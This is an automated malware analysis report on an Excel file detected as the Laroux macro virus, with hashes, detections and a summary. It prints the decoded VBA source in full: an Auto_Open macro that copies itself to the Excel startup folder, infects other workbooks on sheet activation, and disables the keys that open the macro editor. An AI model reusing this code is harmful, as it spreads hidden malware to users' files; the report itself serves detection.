Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a4ce1b0a63786dcb…

MALICIOUS

Office (OLE)

28.0 KB Created: 2011-11-15 07:29:13 Authoring application: Microsoft Excel First seen: 2020-09-24
MD5: d0cf5bf74076e4df577fbd604e9d101a SHA-1: f16964e3896e1925276e5210e4ccaed7934a8af3 SHA-256: a4ce1b0a63786dcbd4a507712f8e8468e4a88b64658aa003afb1a8ecce143bdb
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is an Excel document containing VBA macros, specifically an Auto_Open macro. This macro is designed to copy the malicious workbook to the Excel startup directory as 'StartUp.xls', thereby establishing persistence. The ClamAV detection 'Doc.Macro.Laroux-5893719-0' further confirms its malicious nature. The document body appears to be a job recruitment notice, likely a lure.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1153 bytes
SHA-256: 2b98e88dfafbd2a72ee4a7f0c2794675f5508d12c3e6c72292ac2f9ade8bc7dd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

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